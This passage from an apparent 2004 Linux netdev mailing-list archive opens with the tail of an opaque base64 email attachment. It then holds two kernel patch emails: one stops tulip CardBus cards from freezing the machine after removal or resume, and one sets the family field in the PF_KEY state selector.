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 ------=_NextPart_000_0006_00001324.00001F83-- --===============2056097141==-- From okir@suse.de Thu May 27 03:41:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 03:41:32 -0700 (PDT) Received: from Cantor.suse.de (cantor.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RAfHgi000537 for ; Thu, 27 May 2004 03:41:18 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 23AE862A3D9 for ; Thu, 27 May 2004 11:59:05 +0200 (CEST) Date: Thu, 27 May 2004 11:59:04 +0200 From: Olaf Kirch To: netdev@oss.sgi.com Subject: [PATCH 2.6] Prevent tulip cardbus cards from freezing machine Message-ID: <20040527095904.GG12225@suse.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="C7zPtVaVf+AK4Oqc" Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 5383 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev --C7zPtVaVf+AK4Oqc Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, here's a patch that should prevent lockups with tulip cardbus cards after APM suspend/resume, or when pulling out the card. The problem is that the status register seems to return 0xffffffff in this case, and tulip_poll thinks RxIntr is asserted all the time. Please review. Cheers Olaf -- Olaf Kirch | The Hardware Gods hate me. okir@suse.de | ---------------+ --C7zPtVaVf+AK4Oqc Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=tulip-pcmcia-remove --- linux-2.6.5/drivers/net/tulip/interrupt.c.suspend 2004-04-04 05:36:48.000000000 +0200 +++ linux-2.6.5/drivers/net/tulip/interrupt.c 2004-05-25 12:24:07.000000000 +0200 @@ -113,6 +113,7 @@ int entry = tp->cur_rx % RX_RING_SIZE; int rx_work_limit = *budget; int received = 0; + int csr5; if (!netif_running(dev)) goto done; @@ -254,7 +255,12 @@ * No idea how to fix this if "playing with fire" will fail * tomorrow (night 011029). If it will not fail, we won * finally: amount of IO did not increase at all. */ - } while ((inl(dev->base_addr + CSR5) & RxIntr)); + csr5 = inl(dev->base_addr + CSR5); + if (csr5 == 0xffffffff) { + printk(KERN_DEBUG "tulip_poll: hardware disappeared.\n"); + break; + } + } while (csr5 & RxIntr); done: --C7zPtVaVf+AK4Oqc-- From herbert@gondor.apana.org.au Thu May 27 03:44:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 03:45:00 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RAiqgi001042 for ; Thu, 27 May 2004 03:44:54 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BTINS-0003Em-00; Thu, 27 May 2004 20:44:46 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BTINR-0006VC-00; Thu, 27 May 2004 20:44:45 +1000 Date: Thu, 27 May 2004 20:44:45 +1000 To: "David S. Miller" , netdev@oss.sgi.com Subject: [PFKEY] Set family for state selector Message-ID: <20040527104445.GA24976@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="SLDf9lqlvOQaIe6s" Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5384 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --SLDf9lqlvOQaIe6s Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Dave: As the comment in the code suggests, nobody really uses this so nobody will notice the difference :) Still, let's make it correct while we're at it. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --SLDf9lqlvOQaIe6s Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p ===== net/key/af_key.c 1.58 vs edited ===== --- 1.58/net/key/af_key.c 2004-05-26 06:09:13 +10:00 +++ edited/net/key/af_key.c 2004-05-27 20:37:08 +10:00 @@ -1059,7 +1059,7 @@ struct sadb_address *addr = ext_hdrs[SADB_EXT_ADDRESS_PROXY-1]; /* Nobody uses this, but we try. */ - pfkey_sadb_addr2xfrm_addr(addr, &x->sel.saddr); + x->sel.family = pfkey_sadb_addr2xfrm_addr(addr, &x->sel.saddr); x->sel.prefixlen_s = addr->sadb_address_prefixlen; } --SLDf9lqlvOQaIe6s-- From cleanerx@au.hadiko.de Thu May 27 04:01:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 04:01:47 -0700 (PDT) Received: from au.hadiko.de (nat-ph3-wh.rz.uni-karlsruhe.de [129.13.73.33]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RB1egi001879 for ; Thu, 27 May 2004 04:01:44 -0700 Received: from a2.hadiko.de (hadia002.hadiko.uni-karlsruhe.de [172.20.41.2]) by au.hadiko.de (Postfix) with ESMTP id 6D739CE4; Thu, 27 May 2004 15:02:17 +0200 (CEST) From: Jens =?iso-8859-1?q?K=FCbler?= To: linux-kernel@vger.kernel.org Subject: Re: nforce2 keeps crashing with 2.4.27pre3 Date: Thu, 27 May 2004 13:01:39 +0200 User-Agent: KMail/1.5.3 References: <200405261756.35333.cleanerx@au.hadiko.de> <20040526190735.A6244@electric-eye.fr.zoreil.com> In-Reply-To: <20040526190735.A6244@electric-eye.fr.zoreil.com> Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Message-Id: 